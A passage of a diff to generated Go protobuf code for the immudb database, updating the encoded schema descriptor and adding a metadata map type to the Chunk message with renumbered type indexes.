0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, - 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, - 0x61, 0x6c, 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, - 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, - 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, - 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, - 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, - 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, - 0x3e, 0x20, 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, - 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, - 0x6e, 0x74, 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, - 0x20, 0x70, 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, - 0x72, 0x65, 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, - 0x65, 0x6e, 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, - 0x6f, 0x6e, 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, - 0x12, 0x00, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x53, 0x51, 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x16, + 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x10, 0x12, 0x0e, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, + 0x65, 0x2f, 0x6c, 0x69, 0x73, 0x74, 0x12, 0x5b, 0x0a, 0x0d, 0x44, 0x65, 0x73, 0x63, 0x72, 0x69, + 0x62, 0x65, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x12, 0x14, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x61, 0x62, 0x6c, 0x65, 0x1a, 0x1d, 0x2e, + 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x53, 0x51, + 0x4c, 0x51, 0x75, 0x65, 0x72, 0x79, 0x52, 0x65, 0x73, 0x75, 0x6c, 0x74, 0x22, 0x15, 0x82, 0xd3, + 0xe4, 0x93, 0x02, 0x0f, 0x22, 0x0a, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x61, 0x62, 0x6c, 0x65, 0x73, + 0x3a, 0x01, 0x2a, 0x12, 0x7f, 0x0a, 0x10, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, + 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, + 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, + 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x47, 0x65, 0x74, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x1a, + 0x21, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, + 0x56, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x53, 0x51, 0x4c, 0x45, 0x6e, 0x74, + 0x72, 0x79, 0x22, 0x20, 0x82, 0xd3, 0xe4, 0x93, 0x02, 0x1a, 0x22, 0x15, 0x2f, 0x64, 0x62, 0x2f, + 0x76, 0x65, 0x72, 0x69, 0x66, 0x69, 0x61, 0x62, 0x6c, 0x65, 0x2f, 0x73, 0x71, 0x6c, 0x67, 0x65, + 0x74, 0x3a, 0x01, 0x2a, 0x12, 0x7c, 0x0a, 0x10, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, + 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x12, 0x26, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, + 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x1a, 0x27, 0x2e, 0x69, 0x6d, 0x6d, 0x75, 0x64, 0x62, 0x2e, 0x73, 0x63, 0x68, 0x65, 0x6d, 0x61, + 0x2e, 0x54, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x44, 0x61, 0x74, 0x61, 0x62, 0x61, 0x73, + 0x65, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x17, 0x82, 0xd3, 0xe4, 0x93, 0x02, + 0x11, 0x22, 0x0c, 0x2f, 0x64, 0x62, 0x2f, 0x74, 0x72, 0x75, 0x6e, 0x63, 0x61, 0x74, 0x65, 0x3a, + 0x01, 0x2a, 0x42, 0x8b, 0x03, 0x5a, 0x2b, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, 0x6f, + 0x6d, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x6e, 0x6f, 0x74, 0x61, 0x72, 0x79, 0x2f, 0x69, 0x6d, 0x6d, + 0x75, 0x64, 0x62, 0x2f, 0x70, 0x6b, 0x67, 0x2f, 0x61, 0x70, 0x69, 0x2f, 0x73, 0x63, 0x68, 0x65, + 0x6d, 0x61, 0x92, 0x41, 0xda, 0x02, 0x12, 0xee, 0x01, 0x0a, 0x0f, 0x69, 0x6d, 0x6d, 0x75, 0x64, + 0x62, 0x20, 0x52, 0x45, 0x53, 0x54, 0x20, 0x41, 0x50, 0x49, 0x12, 0xda, 0x01, 0x3c, 0x62, 0x3e, + 0x49, 0x4d, 0x50, 0x4f, 0x52, 0x54, 0x41, 0x4e, 0x54, 0x3c, 0x2f, 0x62, 0x3e, 0x3a, 0x20, 0x41, + 0x6c, 0x6c, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, + 0x64, 0x65, 0x3e, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, + 0x66, 0x65, 0x67, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, + 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x73, 0x20, 0x72, 0x65, 0x74, 0x75, 0x72, 0x6e, 0x20, 0x3c, 0x75, + 0x3e, 0x62, 0x61, 0x73, 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, + 0x2f, 0x75, 0x3e, 0x20, 0x6b, 0x65, 0x79, 0x73, 0x20, 0x61, 0x6e, 0x64, 0x20, 0x76, 0x61, 0x6c, + 0x75, 0x65, 0x73, 0x2c, 0x20, 0x77, 0x68, 0x69, 0x6c, 0x65, 0x20, 0x61, 0x6c, 0x6c, 0x20, 0x3c, + 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x65, 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, + 0x61, 0x6e, 0x64, 0x20, 0x3c, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x73, 0x61, 0x66, 0x65, 0x73, 0x65, + 0x74, 0x3c, 0x2f, 0x63, 0x6f, 0x64, 0x65, 0x3e, 0x20, 0x66, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, + 0x6e, 0x73, 0x20, 0x65, 0x78, 0x70, 0x65, 0x63, 0x74, 0x20, 0x3c, 0x75, 0x3e, 0x62, 0x61, 0x73, + 0x65, 0x36, 0x34, 0x2d, 0x65, 0x6e, 0x63, 0x6f, 0x64, 0x65, 0x64, 0x3c, 0x2f, 0x75, 0x3e, 0x20, + 0x69, 0x6e, 0x70, 0x75, 0x74, 0x73, 0x2e, 0x5a, 0x59, 0x0a, 0x57, 0x0a, 0x06, 0x62, 0x65, 0x61, + 0x72, 0x65, 0x72, 0x12, 0x4d, 0x08, 0x02, 0x12, 0x38, 0x41, 0x75, 0x74, 0x68, 0x65, 0x6e, 0x74, + 0x69, 0x63, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x20, 0x74, 0x6f, 0x6b, 0x65, 0x6e, 0x2c, 0x20, 0x70, + 0x72, 0x65, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x62, 0x79, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, + 0x72, 0x3a, 0x20, 0x42, 0x65, 0x61, 0x72, 0x65, 0x72, 0x20, 0x3c, 0x74, 0x6f, 0x6b, 0x65, 0x6e, + 0x3e, 0x1a, 0x0d, 0x41, 0x75, 0x74, 0x68, 0x6f, 0x72, 0x69, 0x7a, 0x61, 0x74, 0x69, 0x6f, 0x6e, + 0x20, 0x02, 0x62, 0x0c, 0x0a, 0x0a, 0x0a, 0x06, 0x62, 0x65, 0x61, 0x72, 0x65, 0x72, 0x12, 0x00, + 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, } var ( @@ -10251,7 +10267,7 @@ func file_schema_proto_rawDescGZIP() []byte { } var file_schema_proto_enumTypes = make([]protoimpl.EnumInfo, 3) -var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 130) +var file_schema_proto_msgTypes = make([]protoimpl.MessageInfo, 131) var file_schema_proto_goTypes = []interface{}{ (EntryTypeAction)(0), // 0: immudb.schema.EntryTypeAction (PermissionAction)(0), // 1: immudb.schema.PermissionAction @@ -10384,10 +10400,11 @@ var file_schema_proto_goTypes = []interface{}{ nil, // 128: immudb.schema.VerifiableSQLEntry.ColIdsByNameEntry nil, // 129: immudb.schema.VerifiableSQLEntry.ColTypesByIdEntry nil, // 130: immudb.schema.VerifiableSQLEntry.ColLenByIdEntry - nil, // 131: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - nil, // 132: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - (_struct.NullValue)(0), // 133: google.protobuf.NullValue - (*empty.Empty)(nil), // 134: google.protobuf.Empty + nil, // 131: immudb.schema.Chunk.MetadataEntry + nil, // 132: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + nil, // 133: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + (_struct.NullValue)(0), // 134: google.protobuf.NullValue + (*empty.Empty)(nil), // 135: google.protobuf.Empty } var file_schema_proto_depIdxs = []int32{ 4, // 0: immudb.schema.User.permissions:type_name -> immudb.schema.Permission @@ -10518,171 +10535,172 @@ var file_schema_proto_depIdxs = []int32{ 67, // 125: immudb.schema.DatabaseListResponse.databases:type_name -> immudb.schema.Database 105, // 126: immudb.schema.DatabaseListResponseV2.databases:type_name -> immudb.schema.DatabaseWithSettings 81, // 127: immudb.schema.DatabaseWithSettings.settings:type_name -> immudb.schema.DatabaseNullableSettings - 110, // 128: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam - 110, // 129: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam - 116, // 130: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue - 112, // 131: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx - 29, // 132: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader - 131, // 133: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry - 132, // 134: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry - 114, // 135: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column - 115, // 136: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row - 116, // 137: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue - 133, // 138: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue - 2, // 139: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode - 76, // 140: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 - 80, // 141: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds - 116, // 142: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 116, // 143: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue - 134, // 144: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty - 7, // 145: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest - 9, // 146: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest - 100, // 147: immudb.schema.ImmuService.ChangePermission:input_type -> immudb.schema.ChangePermissionRequest - 101, // 148: immudb.schema.ImmuService.SetActiveUser:input_type -> immudb.schema.SetActiveUserRequest - 12, // 149: immudb.schema.ImmuService.UpdateAuthConfig:input_type -> immudb.schema.AuthConfig - 13, // 150: immudb.schema.ImmuService.UpdateMTLSConfig:input_type -> immudb.schema.MTLSConfig - 14, // 151: immudb.schema.ImmuService.OpenSession:input_type -> immudb.schema.OpenSessionRequest - 134, // 152: immudb.schema.ImmuService.CloseSession:input_type -> google.protobuf.Empty - 134, // 153: immudb.schema.ImmuService.KeepAlive:input_type -> google.protobuf.Empty - 117, // 154: immudb.schema.ImmuService.NewTx:input_type -> immudb.schema.NewTxRequest - 134, // 155: immudb.schema.ImmuService.Commit:input_type -> google.protobuf.Empty - 134, // 156: immudb.schema.ImmuService.Rollback:input_type -> google.protobuf.Empty - 108, // 157: immudb.schema.ImmuService.TxSQLExec:input_type -> immudb.schema.SQLExecRequest - 109, // 158: immudb.schema.ImmuService.TxSQLQuery:input_type -> immudb.schema.SQLQueryRequest - 10, // 159: immudb.schema.ImmuService.Login:input_type -> immudb.schema.LoginRequest - 134, // 160: immudb.schema.ImmuService.Logout:input_type -> google.protobuf.Empty - 41, // 161: immudb.schema.ImmuService.Set:input_type -> immudb.schema.SetRequest - 45, // 162: immudb.schema.ImmuService.VerifiableSet:input_type -> immudb.schema.VerifiableSetRequest - 42, // 163: immudb.schema.ImmuService.Get:input_type -> immudb.schema.KeyRequest - 46, // 164: immudb.schema.ImmuService.VerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 44, // 165: immudb.schema.ImmuService.Delete:input_type -> immudb.schema.DeleteKeysRequest - 43, // 166: immudb.schema.ImmuService.GetAll:input_type -> immudb.schema.KeyListRequest - 21, // 167: immudb.schema.ImmuService.ExecAll:input_type -> immudb.schema.ExecAllRequest - 25, // 168: immudb.schema.ImmuService.Scan:input_type -> immudb.schema.ScanRequest - 26, // 169: immudb.schema.ImmuService.Count:input_type -> immudb.schema.KeyPrefix - 134, // 170: immudb.schema.ImmuService.CountAll:input_type -> google.protobuf.Empty - 59, // 171: immudb.schema.ImmuService.TxById:input_type -> immudb.schema.TxRequest - 62, // 172: immudb.schema.ImmuService.VerifiableTxById:input_type -> immudb.schema.VerifiableTxRequest - 63, // 173: immudb.schema.ImmuService.TxScan:input_type -> immudb.schema.TxScanRequest - 57, // 174: immudb.schema.ImmuService.History:input_type -> immudb.schema.HistoryRequest - 47, // 175: immudb.schema.ImmuService.ServerInfo:input_type -> immudb.schema.ServerInfoRequest - 134, // 176: immudb.schema.ImmuService.Health:input_type -> google.protobuf.Empty - 134, // 177: immudb.schema.ImmuService.DatabaseHealth:input_type -> google.protobuf.Empty - 134, // 178: immudb.schema.ImmuService.CurrentState:input_type -> google.protobuf.Empty - 52, // 179: immudb.schema.ImmuService.SetReference:input_type -> immudb.schema.ReferenceRequest - 53, // 180: immudb.schema.ImmuService.VerifiableSetReference:input_type -> immudb.schema.VerifiableReferenceRequest - 54, // 181: immudb.schema.ImmuService.ZAdd:input_type -> immudb.schema.ZAddRequest - 58, // 182: immudb.schema.ImmuService.VerifiableZAdd:input_type -> immudb.schema.VerifiableZAddRequest - 56, // 183: immudb.schema.ImmuService.ZScan:input_type -> immudb.schema.ZScanRequest - 67, // 184: immudb.schema.ImmuService.CreateDatabase:input_type -> immudb.schema.Database - 68, // 185: immudb.schema.ImmuService.CreateDatabaseWith:input_type -> immudb.schema.DatabaseSettings - 69, // 186: immudb.schema.ImmuService.CreateDatabaseV2:input_type -> immudb.schema.CreateDatabaseRequest - 86, // 187: immudb.schema.ImmuService.LoadDatabase:input_type -> immudb.schema.LoadDatabaseRequest - 88, // 188: immudb.schema.ImmuService.UnloadDatabase:input_type -> immudb.schema.UnloadDatabaseRequest - 90, // 189: immudb.schema.ImmuService.DeleteDatabase:input_type -> immudb.schema.DeleteDatabaseRequest - 134, // 190: immudb.schema.ImmuService.DatabaseList:input_type -> google.protobuf.Empty - 103, // 191: immudb.schema.ImmuService.DatabaseListV2:input_type -> immudb.schema.DatabaseListRequestV2 - 67, // 192: immudb.schema.ImmuService.UseDatabase:input_type -> immudb.schema.Database - 68, // 193: immudb.schema.ImmuService.UpdateDatabase:input_type -> immudb.schema.DatabaseSettings - 71, // 194: immudb.schema.ImmuService.UpdateDatabaseV2:input_type -> immudb.schema.UpdateDatabaseRequest - 134, // 195: immudb.schema.ImmuService.GetDatabaseSettings:input_type -> google.protobuf.Empty - 73, // 196: immudb.schema.ImmuService.GetDatabaseSettingsV2:input_type -> immudb.schema.DatabaseSettingsRequest - 92, // 197: immudb.schema.ImmuService.FlushIndex:input_type -> immudb.schema.FlushIndexRequest - 134, // 198: immudb.schema.ImmuService.CompactIndex:input_type -> google.protobuf.Empty - 42, // 199: immudb.schema.ImmuService.streamGet:input_type -> immudb.schema.KeyRequest - 106, // 200: immudb.schema.ImmuService.streamSet:input_type -> immudb.schema.Chunk - 46, // 201: immudb.schema.ImmuService.streamVerifiableGet:input_type -> immudb.schema.VerifiableGetRequest - 106, // 202: immudb.schema.ImmuService.streamVerifiableSet:input_type -> immudb.schema.Chunk - 25, // 203: immudb.schema.ImmuService.streamScan:input_type -> immudb.schema.ScanRequest - 56, // 204: immudb.schema.ImmuService.streamZScan:input_type -> immudb.schema.ZScanRequest - 57, // 205: immudb.schema.ImmuService.streamHistory:input_type -> immudb.schema.HistoryRequest - 106, // 206: immudb.schema.ImmuService.streamExecAll:input_type -> immudb.schema.Chunk - 65, // 207: immudb.schema.ImmuService.exportTx:input_type -> immudb.schema.ExportTxRequest - 106, // 208: immudb.schema.ImmuService.replicateTx:input_type -> immudb.schema.Chunk - 65, // 209: immudb.schema.ImmuService.streamExportTx:input_type -> immudb.schema.ExportTxRequest - 108, // 210: immudb.schema.ImmuService.SQLExec:input_type -> immudb.schema.SQLExecRequest - 109, // 211: immudb.schema.ImmuService.SQLQuery:input_type -> immudb.schema.SQLQueryRequest - 134, // 212: immudb.schema.ImmuService.ListTables:input_type -> google.protobuf.Empty - 94, // 213: immudb.schema.ImmuService.DescribeTable:input_type -> immudb.schema.Table - 96, // 214: immudb.schema.ImmuService.VerifiableSQLGet:input_type -> immudb.schema.VerifiableSQLGetRequest - 122, // 215: immudb.schema.ImmuService.TruncateDatabase:input_type -> immudb.schema.TruncateDatabaseRequest - 6, // 216: immudb.schema.ImmuService.ListUsers:output_type -> immudb.schema.UserList - 134, // 217: immudb.schema.ImmuService.CreateUser:output_type -> google.protobuf.Empty - 134, // 218: immudb.schema.ImmuService.ChangePassword:output_type -> google.protobuf.Empty - 134, // 219: immudb.schema.ImmuService.ChangePermission:output_type -> google.protobuf.Empty - 134, // 220: immudb.schema.ImmuService.SetActiveUser:output_type -> google.protobuf.Empty - 134, // 221: immudb.schema.ImmuService.UpdateAuthConfig:output_type -> google.protobuf.Empty - 134, // 222: immudb.schema.ImmuService.UpdateMTLSConfig:output_type -> google.protobuf.Empty - 15, // 223: immudb.schema.ImmuService.OpenSession:output_type -> immudb.schema.OpenSessionResponse - 134, // 224: immudb.schema.ImmuService.CloseSession:output_type -> google.protobuf.Empty - 134, // 225: immudb.schema.ImmuService.KeepAlive:output_type -> google.protobuf.Empty - 118, // 226: immudb.schema.ImmuService.NewTx:output_type -> immudb.schema.NewTxResponse - 112, // 227: immudb.schema.ImmuService.Commit:output_type -> immudb.schema.CommittedSQLTx - 134, // 228: immudb.schema.ImmuService.Rollback:output_type -> google.protobuf.Empty - 134, // 229: immudb.schema.ImmuService.TxSQLExec:output_type -> google.protobuf.Empty - 113, // 230: immudb.schema.ImmuService.TxSQLQuery:output_type -> immudb.schema.SQLQueryResult - 11, // 231: immudb.schema.ImmuService.Login:output_type -> immudb.schema.LoginResponse - 134, // 232: immudb.schema.ImmuService.Logout:output_type -> google.protobuf.Empty - 29, // 233: immudb.schema.ImmuService.Set:output_type -> immudb.schema.TxHeader - 38, // 234: immudb.schema.ImmuService.VerifiableSet:output_type -> immudb.schema.VerifiableTx - 18, // 235: immudb.schema.ImmuService.Get:output_type -> immudb.schema.Entry - 39, // 236: immudb.schema.ImmuService.VerifiableGet:output_type -> immudb.schema.VerifiableEntry - 29, // 237: immudb.schema.ImmuService.Delete:output_type -> immudb.schema.TxHeader - 22, // 238: immudb.schema.ImmuService.GetAll:output_type -> immudb.schema.Entries - 29, // 239: immudb.schema.ImmuService.ExecAll:output_type -> immudb.schema.TxHeader - 22, // 240: immudb.schema.ImmuService.Scan:output_type -> immudb.schema.Entries - 27, // 241: immudb.schema.ImmuService.Count:output_type -> immudb.schema.EntryCount - 27, // 242: immudb.schema.ImmuService.CountAll:output_type -> immudb.schema.EntryCount - 34, // 243: immudb.schema.ImmuService.TxById:output_type -> immudb.schema.Tx - 38, // 244: immudb.schema.ImmuService.VerifiableTxById:output_type -> immudb.schema.VerifiableTx - 64, // 245: immudb.schema.ImmuService.TxScan:output_type -> immudb.schema.TxList - 22, // 246: immudb.schema.ImmuService.History:output_type -> immudb.schema.Entries - 48, // 247: immudb.schema.ImmuService.ServerInfo:output_type -> immudb.schema.ServerInfoResponse - 49, // 248: immudb.schema.ImmuService.Health:output_type -> immudb.schema.HealthResponse - 50, // 249: immudb.schema.ImmuService.DatabaseHealth:output_type -> immudb.schema.DatabaseHealthResponse - 51, // 250: immudb.schema.ImmuService.CurrentState:output_type -> immudb.schema.ImmutableState - 29, // 251: immudb.schema.ImmuService.SetReference:output_type -> immudb.schema.TxHeader - 38, // 252: immudb.schema.ImmuService.VerifiableSetReference:output_type -> immudb.schema.VerifiableTx - 29, // 253: immudb.schema.ImmuService.ZAdd:output_type -> immudb.schema.TxHeader - 38, // 254: immudb.schema.ImmuService.VerifiableZAdd:output_type -> immudb.schema.VerifiableTx - 24, // 255: immudb.schema.ImmuService.ZScan:output_type -> immudb.schema.ZEntries - 134, // 256: immudb.schema.ImmuService.CreateDatabase:output_type -> google.protobuf.Empty - 134, // 257: immudb.schema.ImmuService.CreateDatabaseWith:output_type -> google.protobuf.Empty - 70, // 258: immudb.schema.ImmuService.CreateDatabaseV2:output_type -> immudb.schema.CreateDatabaseResponse - 87, // 259: immudb.schema.ImmuService.LoadDatabase:output_type -> immudb.schema.LoadDatabaseResponse - 89, // 260: immudb.schema.ImmuService.UnloadDatabase:output_type -> immudb.schema.UnloadDatabaseResponse - 91, // 261: immudb.schema.ImmuService.DeleteDatabase:output_type -> immudb.schema.DeleteDatabaseResponse - 102, // 262: immudb.schema.ImmuService.DatabaseList:output_type -> immudb.schema.DatabaseListResponse - 104, // 263: immudb.schema.ImmuService.DatabaseListV2:output_type -> immudb.schema.DatabaseListResponseV2 - 99, // 264: immudb.schema.ImmuService.UseDatabase:output_type -> immudb.schema.UseDatabaseReply - 134, // 265: immudb.schema.ImmuService.UpdateDatabase:output_type -> google.protobuf.Empty - 72, // 266: immudb.schema.ImmuService.UpdateDatabaseV2:output_type -> immudb.schema.UpdateDatabaseResponse - 68, // 267: immudb.schema.ImmuService.GetDatabaseSettings:output_type -> immudb.schema.DatabaseSettings - 74, // 268: immudb.schema.ImmuService.GetDatabaseSettingsV2:output_type -> immudb.schema.DatabaseSettingsResponse - 93, // 269: immudb.schema.ImmuService.FlushIndex:output_type -> immudb.schema.FlushIndexResponse - 134, // 270: immudb.schema.ImmuService.CompactIndex:output_type -> google.protobuf.Empty - 106, // 271: immudb.schema.ImmuService.streamGet:output_type -> immudb.schema.Chunk - 29, // 272: immudb.schema.ImmuService.streamSet:output_type -> immudb.schema.TxHeader - 106, // 273: immudb.schema.ImmuService.streamVerifiableGet:output_type -> immudb.schema.Chunk - 38, // 274: immudb.schema.ImmuService.streamVerifiableSet:output_type -> immudb.schema.VerifiableTx - 106, // 275: immudb.schema.ImmuService.streamScan:output_type -> immudb.schema.Chunk - 106, // 276: immudb.schema.ImmuService.streamZScan:output_type -> immudb.schema.Chunk - 106, // 277: immudb.schema.ImmuService.streamHistory:output_type -> immudb.schema.Chunk - 29, // 278: immudb.schema.ImmuService.streamExecAll:output_type -> immudb.schema.TxHeader - 106, // 279: immudb.schema.ImmuService.exportTx:output_type -> immudb.schema.Chunk - 29, // 280: immudb.schema.ImmuService.replicateTx:output_type -> immudb.schema.TxHeader - 106, // 281: immudb.schema.ImmuService.streamExportTx:output_type -> immudb.schema.Chunk - 111, // 282: immudb.schema.ImmuService.SQLExec:output_type -> immudb.schema.SQLExecResult - 113, // 283: immudb.schema.ImmuService.SQLQuery:output_type -> immudb.schema.SQLQueryResult - 113, // 284: immudb.schema.ImmuService.ListTables:output_type -> immudb.schema.SQLQueryResult - 113, // 285: immudb.schema.ImmuService.DescribeTable:output_type -> immudb.schema.SQLQueryResult - 98, // 286: immudb.schema.ImmuService.VerifiableSQLGet:output_type -> immudb.schema.VerifiableSQLEntry - 123, // 287: immudb.schema.ImmuService.TruncateDatabase:output_type -> immudb.schema.TruncateDatabaseResponse - 216, // [216:288] is the sub-list for method output_type - 144, // [144:216] is the sub-list for method input_type - 144, // [144:144] is the sub-list for extension type_name - 144, // [144:144] is the sub-list for extension extendee - 0, // [0:144] is the sub-list for field type_name + 131, // 128: immudb.schema.Chunk.metadata:type_name -> immudb.schema.Chunk.MetadataEntry + 110, // 129: immudb.schema.SQLExecRequest.params:type_name -> immudb.schema.NamedParam + 110, // 130: immudb.schema.SQLQueryRequest.params:type_name -> immudb.schema.NamedParam + 116, // 131: immudb.schema.NamedParam.value:type_name -> immudb.schema.SQLValue + 112, // 132: immudb.schema.SQLExecResult.txs:type_name -> immudb.schema.CommittedSQLTx + 29, // 133: immudb.schema.CommittedSQLTx.header:type_name -> immudb.schema.TxHeader + 132, // 134: immudb.schema.CommittedSQLTx.lastInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.LastInsertedPKsEntry + 133, // 135: immudb.schema.CommittedSQLTx.firstInsertedPKs:type_name -> immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry + 114, // 136: immudb.schema.SQLQueryResult.columns:type_name -> immudb.schema.Column + 115, // 137: immudb.schema.SQLQueryResult.rows:type_name -> immudb.schema.Row + 116, // 138: immudb.schema.Row.values:type_name -> immudb.schema.SQLValue + 134, // 139: immudb.schema.SQLValue.null:type_name -> google.protobuf.NullValue + 2, // 140: immudb.schema.NewTxRequest.mode:type_name -> immudb.schema.TxMode + 76, // 141: immudb.schema.NewTxRequest.snapshotMustIncludeTxID:type_name -> immudb.schema.NullableUint64 + 80, // 142: immudb.schema.NewTxRequest.snapshotRenewalPeriod:type_name -> immudb.schema.NullableMilliseconds + 116, // 143: immudb.schema.CommittedSQLTx.LastInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 116, // 144: immudb.schema.CommittedSQLTx.FirstInsertedPKsEntry.value:type_name -> immudb.schema.SQLValue + 135, // 145: immudb.schema.ImmuService.ListUsers:input_type -> google.protobuf.Empty + 7, // 146: immudb.schema.ImmuService.CreateUser:input_type -> immudb.schema.CreateUserRequest + 9, // 147: immudb.schema.ImmuService.ChangePassword:input_type -> immudb.schema.ChangePasswordRequest + 